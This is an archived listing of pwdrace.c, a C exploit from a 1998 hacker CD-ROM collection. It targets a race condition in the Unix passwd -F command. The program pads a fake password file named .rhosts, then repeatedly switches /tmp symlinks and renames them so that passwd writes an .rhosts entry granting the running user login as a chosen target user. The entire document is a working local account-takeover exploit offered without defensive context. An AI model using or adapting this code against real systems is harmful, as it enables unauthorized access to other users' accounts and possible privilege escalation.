home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / pwdrace.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  5.2 KB  |  156 lines

  1. #include <sys/types.h>
  2. #include <sys/stat.h>
  3. #include <unistd.h>
  4. #include <fcntl.h>
  5. #include <stdio.h>
  6. #include <signal.h>
  7. #include <pwd.h>
  8.  
  9.  
  10. main(argc, argv)
  11. int argc;
  12. char *argv[];
  13. {
  14.         FILE    *passwd_in, *passwd_out;
  15.         int     race_child_pid = -1;
  16.         struct  stat st;
  17.         struct  passwd *pw;
  18.         char    pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
  19.                 buf[1024], cmd[256], nowhere[256], nowhere2[256],
  20.                 dir[256];
  21.  
  22.         if (argc != 2) {
  23.                 fprintf(stderr, "Usage: %s target-user\n",
  24.                         argv[0]);
  25.                 exit(1);
  26.         }
  27.  
  28.         /*
  29.          * Get Target User info
  30.          */
  31.         if ((pw = getpwnam(argv[1])) == NULL) {
  32.                 fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
  33.                         argv[0], argv[1]);
  34.                 exit(1);
  35.         }
  36.         strcpy(dir, pw->pw_dir);
  37.  
  38.         /*
  39.          * Set up names for directories/links we will access
  40.          */
  41.         sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
  42.         sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
  43.         sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
  44.         sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
  45.         sprintf(ptmp, "%s/ptmp", dir);
  46.         symlink(pwd_dir, pwd_link);
  47.  
  48.         /*
  49.          * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
  50.          * The bigger our 'passwd file', the longer passwd(1) takes
  51.          * to write it out, the greater chance we have of noticing
  52.          * it doing so and winning the race.
  53.          */
  54.         mkdir(pwd_dir, 0700);
  55.         sprintf(pwd_file, "%s/.rhosts", pwd_dir);
  56.         if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
  57.                 fprintf(stderr, "Cant open %s!\n", pwd_file);
  58.                 exit(1);
  59.         }
  60.         if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
  61.                 fprintf(stderr, "Cant open /etc/passwd\n");
  62.                 exit(1);
  63.         }
  64.         if ((pw = getpwuid(getuid())) == NULL) {
  65.                 fprintf(stderr, "Who are you?\n");
  66.                 exit(1);
  67.         }
  68.         fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
  69.         for (;;) {
  70.                 fseek(passwd_in, 0L, SEEK_SET);
  71.                 while(fgets(buf, sizeof(buf), passwd_in))
  72.                         fputs(buf, passwd_out);
  73.                 if (ftell(passwd_out) > 32768)
  74.                         break;
  75.         }
  76.         fclose(passwd_in);
  77.         fflush(passwd_out);
  78.  
  79.         /*
  80.          * Fork a new process.  In the parent, run passwd -F.
  81.          * In the child, run the race process(es).
  82.          */
  83.         if ((race_child_pid = fork()) < 0) {
  84.                 perror("fork");
  85.                 exit(1);
  86.         }
  87.         if (race_child_pid) {
  88.                 /*
  89.                  * Parent - run passwd -F
  90.                  */
  91.                 sprintf(pwd_file, "%s/.rhosts", pwd_link);
  92.                 puts("Wait until told you see \"Enter your password now!\"");
  93.                 sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
  94.                 system(cmd);
  95.                 kill(race_child_pid, 9);
  96.                 exit(0);
  97.         } else {
  98.                 /*
  99.                  * Child
  100.                  */
  101.                 int fd = fileno(passwd_out);
  102.                 time_t last_access;
  103.  
  104.                 /*
  105.                  * Remember the current 'last accessed'
  106.                  * time for our password file.  Once this
  107.                  * changes it, we know passwd(1) is reading
  108.                  * it, and we can switch the symlink.
  109.                  */
  110.                 if (fstat(fd, &st)) {
  111.                         perror("fstat");
  112.                         exit(1);
  113.                 }
  114.                 last_access = st.st_atime;
  115.  
  116.                 /*
  117.                  * Give passwd(1) a chance to start up.
  118.                  * and do its initialisations.  Hopefully
  119.                  * by now, its asked the user for their
  120.                  * password.
  121.                  */
  122.                 sleep(5);
  123.                 write(0, "Enter your password now!\n",
  124.                       sizeof("Enter your password now!\n"));
  125.  
  126.                 /*
  127.                  * Link our directory to our target directory
  128.                  */
  129.                 unlink(pwd_link);
  130.                 symlink(dir, pwd_link);
  131.  
  132.                 /*
  133.                  * Create two links pointing to nowhere.
  134.                  * We use rename(2) to switch these in later.
  135.                  * (Using unlink(2)/symlink(2) is too slow).
  136.                  */
  137.                 symlink(pwd_dir, nowhere);
  138.                 symlink(dir, nowhere2);
  139.  
  140.                 /*
  141.                  * Wait until ptmp exists in our target
  142.                  * dir, then switch the link.
  143.                  */
  144.                 while ((open(ptmp, O_RDONLY)==-1));
  145.                 rename(nowhere, pwd_link);
  146.  
  147.                 /*
  148.                  * Wait until passwd(1) has accessed our
  149.                  * 'password file', then switch the link.
  150.                  */
  151.                 while (last_access == st.st_atime)
  152.                         fstat(fd, &st);
  153.                 rename(nowhere2, pwd_link);
  154.         }
  155. }
  156.